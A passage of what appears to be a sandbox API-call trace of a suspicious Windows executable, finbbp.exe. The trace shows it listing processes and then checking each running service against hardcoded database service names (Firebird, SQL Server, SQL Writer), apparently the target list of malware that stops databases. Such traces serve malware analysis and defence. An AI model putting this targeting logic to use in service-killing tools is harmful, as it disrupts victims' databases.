szExeFile="ShellExperienceHost.exe")) returned 1 [0230.586] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0230.586] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0230.587] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0230.587] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0230.587] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0230.587] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0230.588] lstrlenW (lpString="finbbp.exe") returned 10 [0230.588] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0230.588] lstrlenW (lpString="cmd.exe") returned 7 [0230.589] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0230.589] lstrlenW (lpString="conhost.exe") returned 11 [0230.589] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0230.590] lstrlenW (lpString="mode.com") returned 8 [0230.590] Process32NextW (in: hSnapshot=0x3c0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0230.590] CloseHandle (hObject=0x3c0) returned 1 [0230.590] Sleep (dwMilliseconds=0x1f4) [0231.102] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aadf8 [0231.103] EnumServicesStatusExW (in: hSCManager=0x41aadf8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0231.147] GetLastError () returned 0xea [0231.147] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1b58) returned 0x41fff50 [0231.147] EnumServicesStatusExW (in: hSCManager=0x41aadf8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41fff50, cbBufSize=0x1b58, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41fff50, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0231.148] CloseServiceHandle (hSCObject=0x41aadf8) returned 1 [0231.149] lstrlenW (lpString="AppXSvc") returned 7 [0231.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0231.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0231.149] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0231.149] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0231.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0231.149] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0231.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0231.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0231.149] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0231.149] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0231.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0231.149] lstrlenW (lpString="Audiosrv") returned 8 [0231.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0231.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0231.149] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0231.149] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0231.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0231.149] lstrlenW (lpString="BFE") returned 3 [0231.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0231.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0231.149] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0231.149] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0231.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0231.149] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0231.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0231.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0231.150] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0231.150] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0231.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0231.150] lstrlenW (lpString="CDPSvc") returned 6 [0231.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0231.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0231.150] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0231.150] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0231.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0231.150] lstrlenW (lpString="ClickToRunSvc") returned 13 [0231.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0231.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0231.150] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0231.150] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0231.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0231.150] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0231.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0231.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0231.150] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0231.150] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0231.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0231.150] lstrlenW (lpString="CryptSvc") returned 8 [0231.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0231.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0231.150] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0231.150] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0231.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0231.151] lstrlenW (lpString="DcomLaunch") returned 10 [0231.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0231.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0231.151] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0231.151] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0231.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0231.151] lstrlenW (lpString="DeviceAssociationService") returned 24 [0231.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0231.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0231.151] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0231.151] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0231.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0231.151] lstrlenW (lpString="Dhcp") returned 4 [0231.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0231.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0231.151] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0231.151] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0231.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0231.151] lstrlenW (lpString="Dnscache") returned 8 [0231.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0231.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0231.151] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0231.151] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0231.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0231.151] lstrlenW (lpString="DPS") returned 3 [0231.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0231.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0231.151] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0231.151] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0231.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0231.151] lstrlenW (lpString="DusmSvc") returned 7 [0231.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0231.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0231.151] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0231.151] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0231.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0231.152] lstrlenW (lpString="EventLog") returned 8 [0231.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0231.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0231.152] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0231.152] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0231.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0231.152] lstrlenW (lpString="EventSystem") returned 11 [0231.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0231.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0231.152] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0231.152] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0231.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0231.152] lstrlenW (lpString="FontCache") returned 9 [0231.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0231.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0231.152] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0231.152] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0231.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0231.152] lstrlenW (lpString="gpsvc") returned 5 [0231.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0231.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0231.152] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0231.152] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0231.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0231.152] lstrlenW (lpString="iphlpsvc") returned 8 [0231.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0231.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0231.152] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0231.152] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0231.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0231.152] lstrlenW (lpString="KeyIso") returned 6 [0231.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0231.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0231.153] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0231.153] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0231.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0231.153] lstrlenW (lpString="LanmanServer") returned 12 [0231.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0231.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0231.153] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0231.153] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0231.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0231.153] lstrlenW (lpString="LanmanWorkstation") returned 17 [0231.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0231.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0231.153] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0231.153] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0231.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0231.153] lstrlenW (lpString="lfsvc") returned 5 [0231.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0231.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0231.153] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0231.153] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0231.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0231.153] lstrlenW (lpString="lmhosts") returned 7 [0231.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0231.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0231.153] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0231.153] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0231.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0231.153] lstrlenW (lpString="LSM") returned 3 [0231.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0231.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0231.153] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0231.153] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0231.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0231.153] lstrlenW (lpString="MpsSvc") returned 6 [0231.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0231.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0231.154] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0231.154] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0231.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0231.154] lstrlenW (lpString="NcbService") returned 10 [0231.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0231.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0231.154] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0231.154] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0231.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0231.154] lstrlenW (lpString="netprofm") returned 8 [0231.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0231.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0231.154] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0231.154] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0231.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0231.154] lstrlenW (lpString="NgcSvc") returned 6 [0231.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0231.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0231.154] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0231.154] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0231.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0231.154] lstrlenW (lpString="NlaSvc") returned 6 [0231.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0231.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0231.154] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0231.154] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0231.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0231.154] lstrlenW (lpString="nsi") returned 3 [0231.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0231.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0231.154] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0231.154] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0231.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0231.154] lstrlenW (lpString="PcaSvc") returned 6 [0231.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0231.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0231.155] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0231.155] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0231.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0231.155] lstrlenW (lpString="PlugPlay") returned 8 [0231.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0231.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0231.155] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0231.155] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0231.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0231.155] lstrlenW (lpString="Power") returned 5 [0231.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0231.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0231.155] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0231.155] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0231.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0231.155] lstrlenW (lpString="ProfSvc") returned 7 [0231.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0231.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0231.155] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0231.155] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0231.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0231.155] lstrlenW (lpString="RpcEptMapper") returned 12 [0231.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0231.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0231.155] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0231.155] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0231.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0231.155] lstrlenW (lpString="RpcSs") returned 5 [0231.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0231.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0231.155] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0231.155] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0231.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0231.156] lstrlenW (lpString="SamSs") returned 5 [0231.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0231.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0231.156] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0231.156] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0231.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0231.156] lstrlenW (lpString="Schedule") returned 8 [0231.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0231.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0231.156] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0231.156] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0231.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0231.156] lstrlenW (lpString="SecurityHealthService") returned 21 [0231.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0231.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0231.156] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0231.156] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0231.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0231.156] lstrlenW (lpString="SENS") returned 4 [0231.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0231.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0231.156] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0231.156] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0231.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0231.156] lstrlenW (lpString="ShellHWDetection") returned 16 [0231.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0231.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0231.156] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0231.156] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0231.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0231.156] lstrlenW (lpString="Spooler") returned 7 [0231.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0231.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0231.156] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0231.157] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0231.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0231.157] lstrlenW (lpString="StateRepository") returned 15 [0231.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0231.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0231.157] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0231.157] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0231.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0231.157] lstrlenW (lpString="SysMain") returned 7 [0231.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0231.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0231.157] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0231.157] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0231.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0231.157] lstrlenW (lpString="SystemEventsBroker") returned 18 [0231.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0231.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0231.157] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0231.157] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0231.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0231.157] lstrlenW (lpString="Themes") returned 6 [0231.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0231.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0231.157] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0231.157] lstrcmpiW 